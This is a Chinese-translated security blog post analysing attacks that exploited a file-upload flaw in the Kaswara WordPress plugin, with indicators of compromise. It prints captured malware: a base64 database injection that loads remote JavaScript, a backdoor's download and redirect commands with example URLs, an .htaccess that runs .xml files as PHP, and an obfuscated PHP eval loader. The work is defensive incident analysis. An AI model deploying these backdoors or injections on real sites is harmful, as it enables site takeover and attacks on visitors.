易受攻擊的 Kaswara 現代 WPBakery 頁面生成器插件插件在野外被利用

已發表: 2021-06-08

早在 2021 年 4 月 20 日,我們在 WPScan 的朋友報告了 Kaswara Modern VC Addons(也稱為 Kaswara Modern WPBakery Page Builder Addons)的一個嚴重漏洞。 Codecanyon/Envato 不再提供此功能,這意味著如果您運行此功能,則必須選擇替代方案。

此漏洞允許未經身份驗證的用戶將任意文件上傳到插件的圖標目錄(./wp-content/uploads/kaswara/icons)。 這是我們在 WPScan 的朋友在他們的報告中與我們分享的第一個妥協指標 (IOC)。

將任意文件上傳到網站的能力使不良行為者可以完全控制該網站,這使得很難定義這種感染的最終有效載荷; 因此,我們將向您展示到目前為止我們發現的所有內容(我們對研究有點忘乎所以,如果您不想通讀,請隨意跳到 IOC 部分)。

數據庫注入、偽造的 Android 應用程序和其他後門

感謝我們來自 Sucuri 的朋友 Denis Sinegubko 指出了用於這次攻擊的數據庫注入後續操作。

不良行為者會更新“kaswara-customJS”選項以添加任意惡意 Javascript 代碼片段。 這是我們發現的一個例子:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

這個 base64 編碼的字符串轉換為:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

就像這種類型的腳本通常發生的那樣,它會鍊式加載一系列其他 Javascript 代碼片段,最終的有效負載將是惡意廣告或漏洞利用工具包。 這與 Wordfence 在這里報告的非常相似。

在這種情況下,腳本會在 hxxp://double-clickd[.]com/ 上死掉,並且不會加載任何不良內容。 我發現自 2020 年初以來調用此站點的可疑 Javascript 代碼,自 2018 年以來人們已經阻止了它。

假應用程序上傳到網站

在我們檢查的網站上發現的 40 個 Android 應用程序是不同應用程序的假版本,例如支付寶、PayPal、Correos、DHL 和許多其他應用程序,幸運的是,根據這項 VirusTotal 分析,最流行的防病毒供應商檢測到了這些應用程序。

VirusTotal 對在受感染站點上發現的一個 APK 文件的結果

我沒有檢查應用程序的意圖,但快速查看它請求的權限可以讓我們大致了解它可以做什麼:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

不過,這些文件不會立即使用 Kaswara 漏洞上傳。 網站被入侵後,攻擊者將首先上傳其他工具以完全控制該網站。

上傳的文件

在受此漏洞影響的網站上還發現了一些後門和其他惡意軟件。 我將在這篇文章中分享對最受歡迎和最有趣的內容的快速分析。 但是,我想首先關注最複雜的一個。

重定向和偽造應用程序

我在幾個受感染網站上發現的虛假應用程序不是通過利用 Kaswara 漏洞上傳的。 它們正在使用多功能黑客工具上傳到該站點,該工具允許攻擊者上傳一些遠程代碼(通過提供 URL 或字符串),並將用戶重定向到惡意站點。

通過此字符串的存在可以輕鬆識別該文件: base64_decode('MTIz');error_reporting(0); 功能

有趣的是,它隨機化了除此之外的所有內容。

該惡意軟件位於一行中,如果您正在尋找這種類型的代碼異常,這也是一個有趣的 IOC。

具有完整編碼的 c.php 惡意軟件

為了便於理解,我對大部分代碼進行了解碼,對有趣的函數進行了重命名,並對代碼進行了美化。 該惡意軟件包含 6 個不同的函數,其中 5 個基於$_GET['ts']變量上傳遞的值。 對於本文檔,讓我們考慮一下我發現的眾多實例之一: c.php

/c.php?ts=kt

這沒有任何作用,它會強製網站返回 500 錯誤(稍後在代碼中)。

/c.php?ts=1

$q1a標誌值更改為 true 以執行代碼驗證並向攻擊者輸出 OK 消息。

在這種情況下,遠程站點回答: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”代碼”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

只要$_GET["p"]的 SHA1 校驗和為123 ,就使用$_GET["v"]的內容提供的代碼在服務器上寫入文件(還記得base64_decode('MTIz')第一個 IOC 嗎?這個是校驗和)。

/c.php?ts=tt

在服務器上寫入 5 MB 的“-”,可能用於測試上傳功能是否可以在服務器上工作。

/c.php?ts=dwm&h=HASH1,HASH2

當惡意軟件收到此請求時,它會執行測試以驗證上傳的文件是否已成功寫入服務器。 它們的 MD5 哈希值必須是已知的,並以逗號分隔值的形式發送到$_GET['h']變量。

/c.php?ts=dw&h=hash&l=URLs_as_CSV

從一系列第三方網站下載文件並將其保存在服務器上,以下載文件的 md5 的最後 12 個字符命名。

這是用於將虛假應用程序上傳到服務器的功能。

下面是下載惡意文件的請求示例/c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

重定向訪問

如果選擇了kt選項或未選擇選項,則代碼繼續進行重定向,這是通過請求帶有所需數據的 JSON blob 來實現的。 然後它繼續使用標頭函數重定向訪問者。

響應如下: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

使用所需參數執行 cURL 請求的函數是這樣的:沒什麼特別的……

它可以翻譯成這個 cURL 請求:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

據我測試,最終 URL 是隨機的,但與流行服務或應用程序的虛假頁面具有相同的特徵。

wp-content/uploads/kaswara/icons/16/javas.xml 和 wp-content/uploads/kaswara/icons/16/.htaccess

XML 文件通常不會被標記為潛在威脅,但在這種情況下,我們有一個特製的 .htaccess 文件,它會改變網絡服務器對它的看法:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

事實上,它告訴 Apache 將任何帶有 xml、php 或 pdf 的 javas、homes 或 menus 文件作為 PHP 文件進行相應處理和執行。 因此,與此 .htaccess 位於同一目錄結構中的任何文件都是可疑的。

javas.xml 文件與上傳到該站點的其他一些惡意文件相同。 我發現不同之處在於有些文件末尾有一兩個空行,這使得傳統的散列有點棘手。

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

惡意代碼使用 str_rot13 和 base64 編碼字符串進行模糊處理。 它還使用十六進制值和數學運算來更多地隱藏字符串。 最終的有效負載是未知的,因為它將根據 POST 請求的值創建一個函數。 但是,有效負載似乎每次都相同,因為它在創建之前依賴於 md5 檢查(c42ea979ed982c02632430e9e98a66d6 是 md5 哈希)。

結論

由於這是一個活躍的活動,在撰寫本文時,我們發現越來越多不同的惡意軟件示例被丟棄在受影響的站點中。 有些只是我們這裡的變體,而另一些則足夠有趣,可以進行更深入的分析。 尋找即將發布的一些較小的帖子,以探索其中一些其他示例。

這說明了使用最新的安全修復程序更新您的擴展程序的重要性; 如果開發人員沒有及時發布修復程序或者它從 WordPress.org 存儲庫(或其他市場)中刪除,我們強烈建議您找到更安全的替代方案。

如果您擔心網站的惡意軟件和漏洞,請查看 Jetpack 的安全功能。 Jetpack Security 提供易於使用、全面的 WordPress 站點安全性,包括備份、惡意軟件掃描和垃圾郵件防護。

妥協指標

在這裡您可以找到我們確定的所有 IOC 的完整列表:

哈希 (SHA-1) 小路威脅描述
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 假安卓應用
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 假安卓應用
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded 假安卓應用
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd 假安卓應用
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf 假安卓應用
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 假安卓應用
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe 假安卓應用
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c 假安卓應用
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a 假安卓應用
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e 假安卓應用
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b 假安卓應用
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa 假安卓應用
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc 假安卓應用
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea 假安卓應用
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb 假安卓應用
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 假安卓應用
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae 假安卓應用
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 假安卓應用
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e 假安卓應用
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c 假安卓應用
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e 假安卓應用
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f 假安卓應用
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b 假安卓應用
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 假安卓應用
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 假安卓應用
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 假安卓應用
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c 假安卓應用
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc 假安卓應用
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa 假安卓應用
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 假安卓應用
ce8dfe115d9546197d57c9cc9f93abb51​​3aadf4a ./715b3f4ed70d 假安卓應用
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 假安卓應用
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 假安卓應用
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 假安卓應用
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 假安卓應用
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 假安卓應用
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 假安卓應用
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d 假安卓應用
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 假安卓應用
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 假安卓應用
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php 丟棄的惡意軟件
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php 丟棄的惡意軟件
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php PHP文件上傳器
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php 丟棄的惡意軟件
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php 遠程代碼執行惡意軟件
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php 丟棄的惡意軟件
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php 丟棄的惡意軟件
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php 丟棄的惡意軟件
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php 丟棄的惡意軟件
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip 丟棄的惡意軟件
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip 丟棄的惡意軟件
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php 丟棄的惡意軟件
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php 丟棄的惡意軟件
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php 遠程代碼執行惡意軟件
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php 丟棄的惡意軟件
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php 或 ./wp-content/uploads/xeh02b.php 丟棄的惡意軟件
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php 丟棄的惡意軟件
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php 遠程代碼執行惡意軟件
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php 丟棄的惡意軟件
wp-content/uploads/kaswara/icons/16/javas.xml 遠程代碼執行惡意軟件
smurfetta.ru 惡意域名
http://papass.ru 惡意域名